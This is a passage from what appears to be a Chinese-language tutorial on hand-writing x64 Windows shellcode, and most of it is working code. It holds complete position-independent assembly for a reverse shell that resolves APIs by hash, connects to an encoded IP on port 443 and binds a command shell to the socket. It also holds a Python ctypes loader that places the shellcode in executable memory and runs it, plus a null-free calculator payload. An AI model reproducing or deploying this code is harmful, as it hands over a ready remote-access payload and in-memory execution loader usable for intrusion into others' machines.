"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等,搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 



" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   call parse_module;"    # Search LoadLibraryA's address   
"   mov r12, rax;"    # R12 = LoadLibraryA Address


"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"       # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    add rsp, 0x10;"        # 清理 "ws2_32.dll"字符串所占用的栈空间
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    xor rcx, rcx;"
"    xor r13, r13;"
"    mov cx, 0x1313;"
"    mov r13w, 0x1111;"
"    sub rcx, r13;"     # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
"    sub rsp, 0x30;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x30;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x30;"     # 函数序言
"    xor rcx, rcx;"
"    mov cl, 2;"    # 最终等效于 mov rcx,2;    # af为2作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 1;"    # type为1作为第2个参数
"    xor r8, r8;"
"    mov r8b, 6;"    # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数,保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数,保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x30;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 2;"     # sin_family成员设置为AF_INET,即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"      # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov edx, 0xd2ff5740;"
"    neg edx;"
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    xor r8, r8;"
"    mov r8b, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    mov rdx, 0xff9a879ad19b929c;"    # NOT "exe.dmc"
"    not rdx;"
"    push rdx;"   
"    mov rdx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0xff;"
"    inc cx;" 
"    push cx;"      # 成员dwFlags值为0x100   
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
"    push cx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0x68;" 
"    push rcx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rcx, rsp;" 
"    sub rcx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rcx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rcx, rcx;" 
"    push rcx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rcx;"     # lpEnvironment值为0作为第7个参数
"    push rcx;"     # dwCreationFlags值为0作为第6个参数
"    inc rcx;" 
"    push rcx;"     # bInheritHandles值为1作为第5个参数
"    dec cl;" 
"    push rcx;"     # 为函数归位区域(第4个参数)预留空间
"    push rcx;"     # 为函数归位区域(第3个参数)预留空间
"    push rcx;"     # 为函数归位区域(第2个参数)预留空间
"    push rcx;"     # 为函数归位区域(第1个参数)预留空间
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;" 
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

最终优化后的 Shellcode 不仅不包含 0x00 字节,而且尺寸比 Msfvenom 生成的还短 11 字节!这个结果可以说是很理想了。

image.png

image.png


拓展

弹出计算器

要实现弹出计算器程序的 Shellcode,我们可以使用 WinExec 函数或者 CreateProcessA 函数。CreateProcessA 函数更加先进,但会让我们的 Shellcode 尺寸更大。WinExec 的函数原型较为简单,只有 2 个参数需要提供。

UINT WinExec(
  [in] LPCSTR lpCmdLine,
  [in] UINT   uCmdShow
);

我们设置 lpCmdLine "calc.exe\0"uCmdShow 为 1。因为该 Shellcode 不需要 ws2_32.dll 中的函数,因此我们可以删除现有代码中的部分内容。调用 WinExec 函数部分如下所示:

"call_winexec:"
"    mov r8d, 0xe8afe98;"     # WinExec的哈希
"    call parse_module;"     # 搜索并获得WinExec的函数地址
"    xor rcx, rcx;"
"    push rcx;"
"    mov rcx, 0x6578652e636c6163;"	# exe.clac
"    push rcx;"
"    lea rcx, [rsp];"
"    xor rdx,rdx;"
"    inc rdx;"
"    sub rsp, 0x28;"
"    call rax;"     # 调用WSAStartup

最终代码为:

import ctypes, struct
from keystone import *



CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址
"   mov r9, [rsi];"    # 当前为python.exe
"   mov r9, [r9];"    # 当前为ntdll.dll
"   mov r9, [r9+0x20];"    # 当前为kernel32.dll
"   jmp call_winexec;"   

"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址,获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量,作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0,那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等,搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


"call_winexec:"
"    mov r8d, 0xe8afe98;"     # WinExec的哈希
"    call parse_module;"     # 搜索并获得WinExec的函数地址
"    xor rcx, rcx;"
"    push rcx;"
"    mov rcx, 0x6578652e636c6163;"	# exe.clac
"    push rcx;"
"    lea rcx, [rsp];"
"    xor rdx,rdx;"
"    inc rdx;"
"    sub rsp, 0x28;"
"    call rax;"     # 调用WSAStartup

)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

我们的计算器 Shellcode 只有 169 字节,不存在 0x00 字节,而且是位置独立的。

image.png

MSF 生成的剔除了 0x00 的 Shellcode 有 319 字节。

image.png

exploit-db 上同样功能的 Shellcode 也有 205 字节。

image.png